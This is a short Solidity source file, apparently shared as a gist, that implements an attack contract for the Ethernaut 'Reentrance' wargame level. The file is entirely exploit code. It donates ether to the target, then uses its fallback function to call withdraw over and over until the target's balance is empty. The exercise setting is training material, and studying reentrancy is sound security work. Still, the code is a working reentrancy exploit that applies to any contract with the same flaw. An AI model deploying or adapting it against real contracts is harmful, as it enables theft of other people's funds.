EthernautReentrancyAttack.sol (www.SmartContractSecurity.com)

gistfile1.txt

pragma solidity ^0.6.10;

import './Reentrance.sol';

contract EthernautReentrancyAttack {
    Reentrance target; 
    uint public amount = 1 ether;    //withdrawal amount each time
    
    constructor(address payable _targetAddr) public payable {
        target = Reentrance(_targetAddr);
    }
    
    function donateToTarget() public {
        target.donate.value(amount).gas(4000000)(address(this)); //need to add value to this fn
    }
    
    fallback() external payable {
        if (address(target).balance != 0 ) {
            target.withdraw(amount); 
        }
    }
}